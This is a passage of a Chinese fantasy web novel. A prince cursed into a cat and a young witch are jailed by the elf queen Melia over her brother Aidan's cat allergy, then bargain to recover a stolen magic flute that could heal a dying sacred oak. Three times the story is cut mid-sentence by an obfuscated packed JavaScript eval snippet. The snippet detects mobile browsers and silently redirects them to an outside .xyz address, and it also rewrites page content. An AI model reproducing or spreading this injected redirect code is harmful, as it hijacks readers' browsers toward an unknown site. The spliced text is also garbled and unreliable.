卢卡斯停下脚步。 “干什么?快走。”身后的精灵催促。 他没有动。 书上说,伊洛文亚的神橡树总是生机勃勃、枝繁叶茂,树叶的颜色比最闪耀的翡翠还要绿,枝干像巨人的臂膀般强壮有力。 最初的精灵靠神橡树获得森林女神的力量,从而建造起自己的家园。 神橡树,是精灵魔法的源泉。 但这棵橡树,真的是传说中的那棵吗? 它苍白而干枯,叶子稀稀拉拉,只要再来一点风就能掉得一干二净。 光是站在树下,就感到无尽的悲伤与绝望,似乎周围的世界都在随着它的枯萎而缓缓崩塌。 “不该是这样。”他自言自语。 马尾辫精灵将他拉到一边:“的确,神树已经病了几个月了。” “为什么?” “不关你的事,人类。” 宫殿门口,门卫向马尾辫精灵恭敬地点点头。 “晚上好,塔拉。这两个人类小家伙是怎么回事?” “我们发现他们在空中非法飞行,图谋不轨。”塔拉说,“必须上报女王。” 这么说真不公平。他们明明只是站在那儿,就被莫名其妙地围攻了。 “陛下心情可不太妙。”门卫道,“还在为魔笛的事焦躁不已。确定要让人类再打搅她吗?” “魔笛?”阿什琳问。 “与你们无关。”塔拉再次冷冷地说,“让我们进去吧,泽兰。相信陛下更愿将这些烂事一起处理完毕。” 门卫泽兰退让了。他们进去之前,他又道:“对了,塔拉,听说你母亲恢复得很快,医师都非常惊讶。祝贺你,看来她能够参加今年的星月晚会了啊。” “没错,多亏了那个新来的医学徒塞提尔。”塔拉说,“他的治疗技艺超群。” 宫殿内保持与外殿一样清冷、洁净的风格,穹顶的水晶灯像是月神切了一小块银河下来,悬挂在蓝青色的白玫瑰图案中央。 白玫瑰周围绘着层层繁复的花纹,顺大理石柱盘旋而下。 四壁皆是壁画,像书一样讲述着一个又一个或虚构或真实的史诗故事,像七幅连环画。 卢卡斯这才发觉,他或许读过很多书,但终究是为人类撰写——而精灵壁画上的故事,他都未曾听闻。 穿过长长的廊厅时,卢卡斯的目光被两侧摆放的乐器吸引。左侧一列,是鲁特琴、管风琴和铃鼓;右侧一竖,则是竖琴、索尔特里琴与肖姆管。 每样乐器都静静地摆在白石架上,像是在宣告:是的,这里就是艺术的殿堂。 然而,一种奇怪的感觉涌上卢卡斯心头。 有时他真是恨透了自己不知从哪儿来的第六感,就像那次在酒馆一样。 但通常来讲,它们都准确无误,且有迹可循。 他只需要冷静观察,仔细思考到底是什么具体的东西令他有不安之感。 左侧三样乐器,右侧三样乐器。 看起来完美无瑕,但真是如此吗? 捕捉它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我被诅咒了,陛下。诅咒白天变成黑猫。而解除诅咒需要的物品之一,就在伊洛文亚。我们尚不知其为何物,但喵——” 这真是太不幸了。 在精灵王的宫殿,在陌生种族的众目睽睽之下,变成一只小黑猫。 精灵士兵们不知所措,有的似乎在努力憋笑,想笑又觉得时机不对。 梅莉娅女王先是震惊,随后轻轻地笑了几声。 “我明白你的意思了。然而,恐怕我也无能为力啊。” “姐姐,我找到了希达的——” 这时,一个精灵冲进大厅。 他身形矫健,面容非常俊美,秀发银白,紫灰色的眼眸似乎充满魔力,衬着淡紫色的华丽长袍。长袍上,绣着音符的银纹。 他的手中,拿着一张小画像。 不过,在卢卡斯看清之前,他便将画像藏在身后。 “呃,时候不对?”见大家都沉默地转向他,精灵尴尬地咳嗽一声。 “没关系,艾丹。”梅莉娅微笑,“我们正在讨论人类王子的诅咒的事。” 艾丹? 卢卡斯和阿什琳猛然对视一下。 看来阿什琳也是艾丹的粉丝。 卢卡斯从小就听着精灵大乐师艾丹的传说长大,已经把艾丹的所有歌词与旋律都背得滚瓜烂熟。 艾丹是梅莉娅女王的弟弟? 卢卡斯从来不知道这一点,果然精灵谷的消息还是过于闭塞。 此时,他恨不得就地下跪,抱着艾丹的大腿求这位大乐师用羽毛笔给他在额头上签名。 当然,无论从哪个角度来说这都是不会发生的。他现在还是只猫,该死的。不过就算他是人类这也不大体面。 他竭力克制着自己的兴奋,阿什琳也是如此。她满脸通红,激动得浑身颤抖,似乎想要说什么。 艾丹略显迷惑。 “哪位是人类王子?” 卢卡斯说:“喵。” 就在这时,最不幸的事情发生了。 艾丹无比惊恐地盯着卢卡斯,连连后退,好像卢卡斯是什么冤魂一般。 接着,精灵王国最伟大的乐师,打了一个无比响亮的喷嚏。 18. 猫毛过敏 卢卡斯没想到,见到偶像之后的第一件事就是被强行打入地牢。 很难说被关起来和被偶像过敏,哪个更令他难受。 刚刚,艾丹对卢卡斯产生了极其可怕的过敏反应,包括但不限于:打喷嚏、流鼻涕、掉眼泪、满面通红等等,最终被医师带走。 而梅莉娅瞬间没了先前的温柔,一声下令将他们关起来。他们的装备也被扒下来,好在阿什琳的空间背包只有她自己能够打开。 卢卡斯纳闷这位女王怎会如此性情多变,不过是一点小小的过敏症状。 难道精灵普遍对猫有什么意见? “等等,这毫无必要!我可以治愈他的过敏!”阿什琳大叫。 梅莉娅冷笑一声。 “省省你的巫术吧,女巫。人类的魔法在伊洛文亚不受欢迎。” 他和阿什琳完全没时间反驳,就已经躺在地牢冰凉的石砖上。 “这……真是喜出望外。”卢卡斯郁闷道。 “我准备了很久的台词呢。”阿什琳说,“在宫殿时我就一直在想如果见到艾丹我该说什么。比如,‘尊贵的大人,请问您可以用魔杖在我的帽子上签名吗?’或者‘作为您最忠实的粉丝,我用您的歌和一条龙成了朋友!’,而不是‘我可以治愈他的过敏!’。” “赫利安城有名的歌曲有一半都是艾丹创作,我没有一首不知道的。难以相信如今我竟然以这幅样子见到他。”卢卡斯苦涩地说,“我的人生全毁了。” “我也是。”阿什琳叹气,“至少咱们一块儿狼狈地见了偶像。” “如果换个时机,我会觉得这很搞笑。”卢卡斯说。 “我只是不明白,梅莉娅女王的态度怎么会来个急转弯?明明前一秒她还挺欢迎我们的呢,毕竟她见过你小时候。” “是啊,谁都见过我小时候。不过,就算对人类而言,梅莉娅也并非暴君,不可能只因弟弟猫毛过敏就将我们关押。”卢卡斯推测,“肯定还有别的原因。” 他在牢房踱起步来。 在宫殿,他都看见了什么?听到了什么? “谁是希达?”他问道。 “谁?” “艾丹进来时说的那个名字。他说他找到了希达的什么东西,应该是那个画像。” “噢,我完全没注意。”阿什琳不好意思地说,“我光顾着盯着艾丹看了。我是说,你注意到他的眼睛了吗?” “太棒了,那么现在你知道艾丹的睫毛有几分长了?”卢卡斯讽刺,“还是说他的眼睛颜色和书上有色差?” 阿什琳气鼓鼓地瞪着他。 “你好意思说我?我看你激动得都快晕过去了,可能在想象大乐师给你梳毛吧。” “我不会让任何除了我自己的舌头以外的东西给我梳毛!” 阿什琳头靠后笑起来,但紧接着不小心撞上坚硬的石墙,似乎又想起他们凄惨的处境。 伊洛文亚的地牢同狄亚斯不同。这里的枷锁与栏杆处处印着精灵文符咒,抑制所有魔法。栏杆的缝隙极小,卢卡斯这样的小猫也不可能钻出去。 守卫像雕像一样直直地站在门口,永远也不疲惫。 他们对面的牢房里,是一个呼呼大睡、胡子拉渣的精灵,从他们过来到现在都没睁开眼哪怕一下。 事情真是不能更糟了。 “对了,卢卡斯。”阿什琳好像在做一个十分艰难的决定,“有件事我得告诉你。” “什么?” “在龙晶洞窟的环境,森林女神……还提到了一件事。”阿什琳斟酌道,“她说,不久后你会像扎克那样,完全变成猫,而且最终失去人的心智。” 卢卡斯大错特错了,事情还能更糟。 “我很抱歉,卢卡斯。我从未想过……” “没关系,我们已经完成了四分之一。”卢卡斯说,“爱苏萨已经离开狄亚斯境内,除非诺克斯找到了龙族的领地,否则他连第一样物品都找不到。这样一来,唯一阻碍我们解除诅咒的,就是时间。” “还有精灵地牢。” “还有精灵地牢。”卢卡斯同意。 他努力想冷静下来。 深呼吸,卢卡斯。你是人类王国的王子,永远变成猫这点小事算什么?不过是…… 永久性地被全国上下所有人嘲笑,成为一个经久不衰的狄亚斯笑话。千年之后,人们谈起伟大的狄亚斯大陆,依然能想起,曾有一个王子被女巫不小心诅咒成了猫,再也没变回来。 而他自己,将永久失去理智,失去他引以为豪的一切。 这件事会什么时候发生?现在他已经开始慢慢失去人类的思考能力了吗?他的大脑是不是已经在渐渐萎缩,彻底变成猫的样子? 天哪,他只会越想越糟。 在龙晶洞窟时的景象再次涌现。身为王子,他的恐惧可真够多的,不是吗? 如果伊莱恩在洞窟,会看到什么呢?他突然很好奇,他那最厉害的姐姐害怕的是什么。 不知怎地,他竟想象不出伊莱恩会有所恐惧。 所有人都对卢卡斯不满,他永远也无法超越优秀的伊莱恩。他的未来也是板上钉钉的事实。 这些都还算正常。 最可怕的是那只猛兽。 其实,卢卡斯到现在也没明白那家伙意味着什么。他从不认为自己真的会变成一只巨型猫科动物。那时他已经被吓惨了。要不是阿什琳,他恐怕就会困在自己的幻境里,被黑魔法折磨致死。 阿什琳比他勇敢得多。从某种角度上,也聪明得多。卢卡斯偷偷看着玩弄角落石子的女孩,不禁想。 表面上,她看着有点儿糟蹋,金发凌乱地纠缠在肩头,帽子上也都是破洞。 只有那双橄榄绿的眼睛,暴露着她没有看上去那么简单。 拥有森林女神的力量,却依然表现得像个乡村女孩。 一开始,卢卡斯只把她当一个马虎又烦人的实习小女巫。 但现在情况完全变了——她救了他的命,很多次。而且从来没有放弃过解咒。 她能看到卢卡斯看不到的东西,做出他永远也做不到的举动。 比方说,和龙交朋友。 过去,卢卡斯的父亲费了一番精力,召集、训练龙战士。据说他甚至召来全国各地的法师,只为教会龙战士们训龙术。 王国虽从不禁魔法,但尼古拉斯二世厌恶它,也不怎么喜爱法师。萨诺瓦·贝利在国王这里享有如此名声,纯粹是因为他治愈过卢卡斯的病。 尼古拉斯二世曾给伊莱恩和卢卡斯讲过,魔法是如何腐化人的灵魂,轻而易举地沦为黑暗的棋子。黑暗女巫辛西娅是最典型的例子。相传,她本是一位才华横溢的少女,是月神塞勒斯提的忠实信徒,却在黑魔法中越陷越深。对力量的贪婪,捕获了她的心。 最终,月神赐予她的魔法不再能满足她。她与死神做了交易,步入歧途,而交易的内容却无人知晓。 卢卡斯只读到过辛西娅为获取最强大的魔法,献上了自己的儿子。当时的狄亚斯女王诺瓦莉与宫廷法师伊勒联手,将辛西娅封印在矮人建造的迷宫——埃多洛迷宫之中。 后来,狄亚斯依然有黑魔法的阴影,辛西娅的信徒仍存,但猎魔人与骑士相继捕获。王室一代又一代,对魔法的态度变化莫测。需要魔法时,魔法突然变得和蔼可亲;不需要时,它就显得面目可憎。 而除了黑魔法外,狄亚斯最大的敌人就是龙。 卢卡斯对龙之战争的残暴很早便有所耳闻。龙火是极为可怕的力量,而龙掌握着这份力量,肆无忌惮。它们理所当然地应该被驯服,被控制,被驱逐。 阿什琳却让他看到了龙的另一面。人与龙的战争,和人与人的战争,并没有本质区别——没有谁是应该绝对被臣服,绝对被消灭的。 有时,卢卡斯完全猜不透阿什琳的想法。 “阿什琳,先前在洞窟,”他小心地开启话题,“你看到了什么?” 阿什琳看了她一眼,又把玩起石子。 “说了怕你嘲笑我。” “不说我也会嘲笑你。” 阿什琳撇了撇嘴。 “我看到我在日复一日地制作草药,完成重复的订单……无法脱离这样的生活。”她低声说,“可能有些人觉得这是稳定。但对我来说,作为生活,它太单一、太明确了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239036|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不是我想要的。” 她将石子扔到栅栏外,嘎达嘎达的声音在地牢中回响。 “如果说那个洞窟让我明白了什么的话,那就是,我不想成为狐尾河湾的草药女巫。”阿什琳抬起头,“我想成为一个旅行者——或者冒险家。” 说出这句话时,她的语气中充满希望。 卢卡斯突然感到一丝嫉妒——她竟能如此没有负担地说出来这样的梦想。 “那……真不错。” “你呢?” 卢卡斯不确定她在问什么。是他未来的梦想,还是龙晶的恐惧? 无论哪种,他都不是很想回答。 “我可能会成为某个领主女儿的丈夫吧,好维持家族之间的关系。”他用无所谓的口吻道,“或者一直在朝廷辅佐伊莱恩。” “你不喜欢这样。” “也不是我说了算的。请你忘了这些吧。”他站起来,“现在唯一重要的是离开这里。” “你有计划了?” “还没完全成形,”卢卡斯说,“但我想我发现了什么。” 这时,门卫开始换班,守卫位置空了。卢卡斯猛烈拍打起栏杆,叫几声喵。 “你干什么?”阿什琳紧张起来。 “吵醒对面那个家伙,问他关于希达的事。” 于是阿什琳也敲打起地面,像打鼓似的。 对面牢房的精灵终于睁开眼,满脸厌倦。 “干什么?”他咄咄逼人地问,“我刚梦见伊洛文亚最美味的蛋糕,还没来得及吃呢。” “不好意思打扰了,我只有一个问题,”阿什琳说,“您知道希达是谁吗?” 精灵瞬间变得警惕。 “你问这个干什么,人类?” “只是好奇。我求知欲很旺盛。” 可能在地牢里长期没生物说话也挺无聊的,阿什琳这样敷衍的理由也能说服他。 “希达是梅莉娅的女儿。”精灵说,“但是,几个月前她就去世了,死时才刚满七岁。” “怎么会?” 在回答之前,精灵先往卢卡斯的方向看了一眼。 卢卡斯一下就知道了原因。 “过敏。”精灵答道,印证了卢卡斯的猜测,“与你们不同,我们族人在山谷里隐居避世了太久,只与歌舞与文艺相伴……长此以往,早已忘却与毛茸茸的生物共处之感。矮人族为庆祝小公主希达的七岁生日,送来一只小猫。可怜的希达哮喘发作,医师甚至没来得及……” 他摇了摇头,退回阴影,不再说话,有种想接着去梦里吃蛋糕的意思。 守卫也回到岗位。 “这就对了。” “对什么?希达也太可怜了。”阿什琳眯起眼睛,“你的伟大计划中包含了希达?” “不错。我建议我们耐心等到晚上,否则以这样的形态,连和梅莉娅沟通的机会都没有。” “那么我能否有幸知道,殿下的计划具体是什么?” “目前还不能。”卢卡斯说,“不然你可能会拒绝。” 在地牢里,他们很难判断时间的流逝。他们的作息已经颠倒,白天在牢房里睡觉,醒来后又无所事事。 阿什琳刚刚已经将石子抛出去,又少了样玩具,现在只好扣起墙皮。 卢卡斯则看上了一只蜘蛛。当人时,他从没发现原来蜘蛛这么有趣。那纤细的八条腿简直就是在引诱他捕猎。 他拱起背,做好姿势,正要猛地一扑—— 结果脑袋吃痛地撞在石墙上。蜘蛛惊恐地消失不见。 “这姿势对王子来说可不雅观。”阿什琳评价道。 卢卡斯真是受够了在猫和人之间来回切换的感觉,可他没得选。 “请告诉女王陛下,赫利安城的王子已变回原形。”他对守卫说,“且有话对女王讲。倘若她不愿听,就说王子将为她奉上一份大礼,相信她不愿错过。” 守卫犹豫了几秒,还是上去了。 “大礼?”阿什琳说,“容我提醒,卢卡斯,我们一无所有。” 卢卡斯扬起眉毛,冲她从容一笑。 “实际上,我们应有尽有。” 19.惊喜计划 “刚要联系你父亲把你带走,就听说你有份大礼要献给我。”梅莉娅女王居高临下地望着他们,“要不是我本人的确喜欢礼物……我可不会把你们放出来。” 卢卡斯恭敬地低下头。 “请您切勿将此事告知父王,我不胜感激。”他说,“只不过,这份礼物恐怕需要一点时间来准备。” “到底是什么样的礼物?” “惊喜。”卢卡斯说,“在星月晚会时,便知分晓。” 星月晚会是精灵一年一度的盛大宴会,精灵们在晚会上尽显才艺,甚至能通过才华找到伴侣。晚会之后伴随的,则是假面舞会。 卢卡斯听说过,但印象很浅。他这么说只是因为先前在守卫那里听到,才想起来这回事。 梅莉娅冷冷地微笑着。 “我不相信你献上礼物别无所图。除了放你自由以外,你还想要什么?” “您心底知道答案。” “你不会在说那所谓可以解除诅咒的魔法物品吧?告诉你,伊洛文亚的魔法物品数不胜数,人类就算花一辈子时间,也找不到到底是哪样。” “我很清楚是哪样物品。”卢卡斯平静地说,“很可惜,它已经遗失了。” 宫殿中的气氛忽变得比先前还要冰冷,所有精灵侍卫都屏住呼吸,忐忑向女王的方向瞥去。 卢卡斯一一扫过他们的面孔。他们个个衣着华贵,相貌精致。有的背着乐器,有的抱着书本,还有的甚至一直在画画,此时都十分不安。 只有一个画速写的红发精灵对上卢卡斯的目光,无所谓地又接着画。 梅莉娅女王脸上的假笑像面具一样脱落。 她慢慢站起来,危险地接近卢卡斯。 “你怎么知道诺卡利魔笛的事?” 阿什琳露出恍然大悟的表情,不过选择没有说话。卢卡斯欣慰地发现,她不再像之前那样冲动了。 诺卡利,一个耳熟的精灵词汇。卢卡斯曾在精灵语课上拼错过这个词,此刻终于派上用场。 他从来没听说过诺卡利魔笛,只能尽可能推测。 “这么说,这就是它的名字。诺卡利。”卢卡斯用很轻,但传得很远的声音说,“它对你们来说一定重要至极……” 他望向梅莉娅的王座手边的空石架。 “以至于,它会一直摆放在女王手边。” “你怎么——” “七,对精灵而言是一个神圣的数字。而只剩下六样乐器,足以令所有精灵发狂。”卢卡斯说,“七样乐器之首被偷去的滋味不好受,对吧?” 长笛,对应音乐、风元素与谜语旁简单的竖线。 卢卡斯知道自己是对的。 诺卡利魔笛,正是谜语物品之一。 “少卖关子,德维尔。”梅莉娅灰色的眼睛死死盯着他,“莫非你们知道魔笛的行踪?” “我向您保证,尊贵的女王陛下,我和阿什琳对此一无所知。”卢卡斯立刻说,“但是,若您能从我们献上的礼物中见到诚意,并准许我们帮您找回魔笛,借用一段时间……我们将感恩不尽。” “魔笛已消失数周。就连我最得意的手下——精灵骑士长塔拉,也未能将其寻回。”梅莉娅说,“你凭什么认为自己有能力胜任这项工作?” 卢卡斯微微一笑。 “我从未说过自己有能力。”他让出一步,让阿什琳站在女王面前,“陛下,这位阿什琳·贝利是森林女神西尔维娜的后代,古老传说中的‘森林之子’。” 大厅中的精灵们窃窃私语起来。梅莉娅看起来有点震惊,但并不信服。 阿什琳惊慌地看了眼卢卡斯,他拍拍她的肩示意她放松。 “若非西尔维娜与她的橡树,伊洛文亚不会这般繁荣。而如今,恰逢神橡树病枯之时,命运将森林之子带来伊洛文亚,绝非巧合。”卢卡斯清晰地说,“诺卡利,是精灵语中‘治愈’的意思。 “陛下,阿什琳命中注定要将诺卡利魔笛带回伊洛文亚,治愈神橡树,令伊洛文亚恢复昔日荣光,成为大陆最耀眼的国度。这是神祇的意旨,绝非我一凡人王子可左右。” 他的话语在高大的宫殿内铿锵有力地回响。精灵们的窃窃私语——已经不能算窃窃私语了——越来越大声,许多精灵指着阿什琳,不知在说些什么。 直到有一个精灵大喊: “让森林之子夺回魔笛!” 其他精灵顿时沸腾起来。 “夺回魔笛!夺回魔笛!” “肃静!”梅莉娅下令,宫殿再次回归安静,但精灵们仍然期待地看着两个人类。 “你有什么证据,可以证明这位‘森林之子’名副其实,殿下?” “证据,正是星月晚会时我们将呈现的大礼。”卢卡斯保持笑容,“就如我所言,我们需要准备。” 卢卡斯看得出来,梅莉娅在思索。拒绝礼物对她能有什么好处? 她终于动摇了。 “很好。现在,离星月晚会还有七天。这七天我会好好盯着你们的——我会给你们安排住所。不过,我并不觉得你们能有什么能耐,”梅莉娅说,“好好收拾干净自己,我不允许宫殿里出现两团泥巴一样的人类。” 他们看起来真有那么糟吗?卢卡斯觉得自己的确是时候冲个热水澡了。 “当然了,王子殿下,白天的时候请不要打扰我的弟弟,艾丹。他的过敏反应……非常严重。” “我不会的。” 他深鞠一躬,和阿什琳退下。 ———— “你究竟在搞什么名堂?”一出宫殿,阿什琳立刻质问,“我没有任何礼物能在晚会拿得出手!” “精灵热爱艺术与表演,梅莉娅女王更是如此。”卢卡斯解释,“我们只需要利用你的森林魔法,创造一样精美绝伦的艺术品,打动梅莉娅的心。” “我可不觉得梅莉娅有心。” 卢卡斯提防地环顾四周,确认没有偷听者。花园静悄悄的,只有喷泉淅淅沥沥的轻响。 “她有,但她的心早随着希达之死一同沉睡。因此,这件艺术品必须与希达有关。”他压低嗓门,“而我们,需要获得希达的画像,来完成这件作品。不然我们不知道她的形象,无从下手。” “你是说艾丹当时拿着的那幅?” 卢卡斯点点头。 “或许希达还有别的画像,挂在很显眼的位置。”阿什琳说,“精灵国的公主,艺术的公主,不可能只有一幅作品。” “精灵的规矩:七岁之前,任何精灵都不能拥有画像或雕塑作品。”卢卡斯说道,“那幅画像肯定独一无二,花了很久才被找到,不然艾丹不会那么激动。” “这不是个简单的任务啊。本来你很适合干这件事,但艾丹又对猫过敏。”阿什琳叹了口气,“我可不想当偶像的小偷。” “往好处想,你有机会见他一面,甚至翻他的衣柜。” “我不是变态,谢谢。” “换做是我,肯定会想知道,这些年他又写了什么新曲子。”卢卡斯向往地说,“打开他的抽屉扒扒谱,偷偷学习他衣柜中的穿搭……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248536|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿什琳哆嗦一下。 “老天,你真恐怖!我顶多收藏一根他的头发。” “等等,到底谁更恐怖?” 他们瞪着对方。 “我可是艾丹的铁粉啊。”卢卡斯说,“你知道我有多少本他的乐谱吗?” “不知道,但肯定没我多。” “二百七十六本。” 阿什琳的下巴掉在了地上。 “神啊,你赢了。我只有二百七十一本。” “不仅如此,我还在各大领主面前演奏过他的曲子。” 阿什琳怀疑地看着他。 “你,演奏?” “我会吹长笛——吹得不错呢,实际上。”卢卡斯坏笑道,夸张地行了个礼,“若有机会,或许能为你献上一曲,贝利小姐。” 音乐是卢卡斯为数不多能比得过伊莱恩的技艺。 “期待万分,殿下。”阿什琳提起不存在的裙子,装模作样地回礼。 “总之,你先去偷咱们偶像的画像——当然那是极端情况下。如果有可能,尽量不用偷这种形式。据我所知,艾丹应该是个善良的精灵。”卢卡斯说,“为了不妨碍你的行动,我在精灵谷别处找找有关魔笛的线索。” “可偷画像之后呢?我怎么用魔法完成艺术品?我的美术水平和我的音准有一拼,而你听过我哼歌了。” 卢卡斯胸有成竹:“别担心,我已经有了想法。只要先把画像拿到手,一切都好说。你接受这项任务吗,阿什琳?” “当然。但是你要知道,我不喜欢你把计划瞒着我。” 不知不觉中,他们又来到了神橡树下。 现在明明是夏天,但神树却令他们身处晚秋。 神树悲凉的感觉十分强烈,卢卡斯突然对自己的计划没那么自信了。他是怎么想的,认为自己能够打动精灵女王,和阿什琳取回失踪的魔笛? 前途黑暗一片,万物终将凋零,归于混沌。 他揉了揉眼,离这棵树远了点,这才又觉得世界有点希望。 阿什琳泪眼盈盈地望着神树,法杖上的绿萤石微微发光,像是在为神树祷告。 “我不明白怎么会这样。这里本应充满力量……但是现在,我感受不到森林的存在。有种非常邪恶的东西腐蚀了它,甚至不是普通的黑魔法。” “你能感知邪恶的来源吗?” 阿什琳闭上眼,口中念叨着什么。绿萤石的光芒愈加明亮,很快,整座花园都充盈着阿什琳的绿光。 清凉的风抚过卢卡斯的面颊,像灵动的少女般轻快地卷起地上的落叶。 卢卡斯浅浅笑了。阿什琳的魔法比先前收敛不少,也精确许多。 他自恋地把部分原因归功于自己对阿什琳训龙魔法的教学——尽管训龙并不是什么好魔法。 落叶如柳絮纷飞,逐渐将二人环绕,形成一场没有杀伤力的小小龙卷风。 阿什琳依然双目紧闭,眼珠在眼皮下不安转动,全然不顾飞上脸的树叶或沙土。 突然,风速加疾,绿光变得阴森森的,落叶飞舞的方向乱七八糟,像受惊的鸟儿。 “发生什么事了?”卢卡斯吐出飞进嘴里的叶子,问道。 阿什琳眉头紧锁,没有回答。 终于,风停了。 阿什琳瞪大眼睛,仿若自噩梦惊醒般连连后退,几乎跌到喷泉里。 卢卡斯赶忙扶住她,拂去她肩膀与金发上横七竖八的落叶。 “迷宫。”她气喘吁吁道,“埃多洛迷宫……病毒是从那里来的。” 20.精灵女仆 梅莉娅给他们在宫殿塔楼中安排了两个房间。阿什琳的房间整洁典雅,一尘不染,挂着山谷的风景油画。窗外视野宽阔,能够俯瞰整个伊洛文亚。 这里就同她想象中一样美好,整座山谷都干净、纯洁。 只是有一点不太一样:她本期望看到更多……丰富的艺术品? 并不是说现在就没有艺术品。与人类的各大领地相比,精灵谷当然文艺得多。 但有些东西过于一样,比如说,阿什琳房间中的画就与卢卡斯房间中的没太大区别。路上那些雕像好像也非常古老,可能放了几百年都没换。 阿什琳觉得大概自己的要求还是太高了。嘿,她不是来旅游的。 她久违地洗了个舒服的热水澡,与玫瑰和薰衣草相泡——简直是公主才有的待遇。斗篷和帽子也被她擦拭干净,但那些破洞是补不回来了。 精灵女仆为她送上丰盛的晚餐。他们是素食主义者,大部分食物都是沙拉,但阿什琳毫不介意。伊洛文亚的番茄、苹果片与蒲公英叶都新鲜无比。 第二天,卢卡斯一早就以猫的形态出去侦察。 阿什琳则决定先试试最简单的方法——直接拜访艾丹,问问画像能不能借走。 这个方法极其迅速地失败了。 “我们收到命令,任何人类或猫类都禁止见艾丹大人。”艾丹房间的门卫说。 “可是他只对猫过敏!” “梅莉娅陛下担心小姐身上有猫毛,也可能引起过敏症状。” 于是阿什琳回到房间,坐在那华丽的梳妆台前,思考对策。 梳妆镜边缘镶嵌着数不清的珍珠,华丽异常,令她整个人都显得格格不入。 阿什琳并非长相惊艳的类型,她心里很清楚。但这只是因为她懒得把时间花在梳妆上——世界上比打扮有趣的事太多了。 在同龄女孩中,她个头偏矮小,脸也稍稍显幼,不说话很容易被误会得年龄更小。每当她大笑起来,就会露出两颗尖锐的小虎牙,看着有点像只小狼。 不过,只要好好打理一番,她还是能非常漂亮的——至少,对假扮一个精灵来说足够。 最大的问题是她的头发。 它们像浅色的枯草般,毫无规律地胡乱交缠,精灵不可能有这样的头发。 于是她掏出咒语书,将法杖对准金发,念出咒语。 这道魔法惊人地有效。顷刻间,她就拥有了一头光滑柔顺的波浪卷发,看起来就像某个王国的公主。 她又加了道咒语,让耳朵幻化成尖的。接着,她从衣柜中翻出一套看上去应该是下等精灵穿的仆人装。 再次看向镜子时,她不再是那个不着调的森林女巫,而是一位美丽优雅的精灵女仆。 “完美。”她自言自语。 混入宫殿厨房很容易。阿什琳迅速端起一份乳酪面包和香草沙拉,学着精灵们优雅的步伐,再一次来到艾丹房间前。 “梅莉娅陛下派我给艾丹大人送午餐。”她低下头,祈祷门卫不要认出她的脸。 好在门卫竟的确是个脸盲。他眯起眼睛瞅了半天,好像觉得阿什琳有点眼熟,又拿不出证据。 “艾丹刚刚出去了。”门卫最后说,“你可以先送进去。” 阿什琳溜进房间。 既然艾丹不在,或许她可以尝试先偷走画像。画像应该不大,但足够醒目。毕竟,一个乐师的房间,能有多少…… 画…… 阿什琳手中的托盘摔在地上。 艾丹的午餐没了。 画,占据了每一寸空闲的墙面。 风景、人像、几何体,框在造型各异的画框里。 墙无空处,纸张便蔓延至高大的橡木书架。书架本身已被卷轴和乐谱塞得满满当当,画作的草稿就见缝插针地贴在架子的侧面。 房间一角,则聚集着好几件乐器。一把做工精致的七弦琴斜靠在软椅上,旁边地毯上还放着一管银色的长笛。 要在这样的房间中找到一幅小画像,无疑是大海捞针。 她翻起那些画,注意到桌子上有一沓同一风格的速写。 画中的精灵都是用炭笔勾勒的,用线灵动洒脱,明明线条寥寥无几,造型却精准异常,每根线、每一点,都恰如其分。 莫非这也是艾丹的作品?阿什琳心想。 她的大偶像总能给她不一样的惊喜。 不过,最后一张速写下的签名否认了她的猜测。 劳瑞尔。 看来是一位精灵画家,可能画得太好被艾丹收藏,又或者他们是挚友。 继续寻找,速写下面是很多乐谱。阿什琳想起卢卡斯说的话——“换做是我,肯定会想知道,这些年他又写了什么新曲子。” 事实证明,这么做颇有诱惑力。 阿什琳刚一拾起谱子。纸张质地优良,上面的音符欢快跳跃,墨迹似乎还未完全干透,散发着淡淡的墨香。 艾丹的乐谱是有魔力的,这就是为什么她喜欢收集它们。人类的乐谱不具备这样的力量。只是触摸着,好像就能听到优美的旋律。 不过,这张曲谱她认得。是《树妖与少年》,她给小龙爱苏萨唱的那首歌。 她接着往下翻,发现几乎所有曲子都是她知道的。还有一些废稿,被他划了又划。 难道他最近没有新的作品? 这时,门轴一响。 艾丹轻巧地走进来。 前天夜里在宫殿那急匆匆的状态相比,这位大乐师显得更加俊美。他的银发中仿佛有月光流动,眼睛令阿什琳想起风暴中的紫水晶。 阿什琳盯着他,感觉马上就要把这辈子的记忆都忘了。甚至过了几个世纪,她才隐隐想起自己的名字。 她,阿什琳,竟然在传说中的人物面前。 活的。就隔了几米。 太阳神在上,她现在还没有高声尖叫着抱他一把然后抓起乐谱欢呼着跳下楼,已算是超常发挥。 见到阿什琳,艾丹困惑地扬起眉毛。 “你是……?” “我是来送午餐的。”阿什琳赶紧解释,然后才发现午餐都面朝地摔着呢,“呃——至少,我本来是来送午餐的。” “噢。”艾丹尴尬一笑,“没关系,我正好也不饿。不过,你拿着我的乐谱干什么呢?” “什么乐谱?”阿什琳问,已经完全忘了这档子事,“啊,这个啊。我……嗯……” 她竟然没来得及编理由。 “我在……” 艾丹有点好笑地等她说下去。 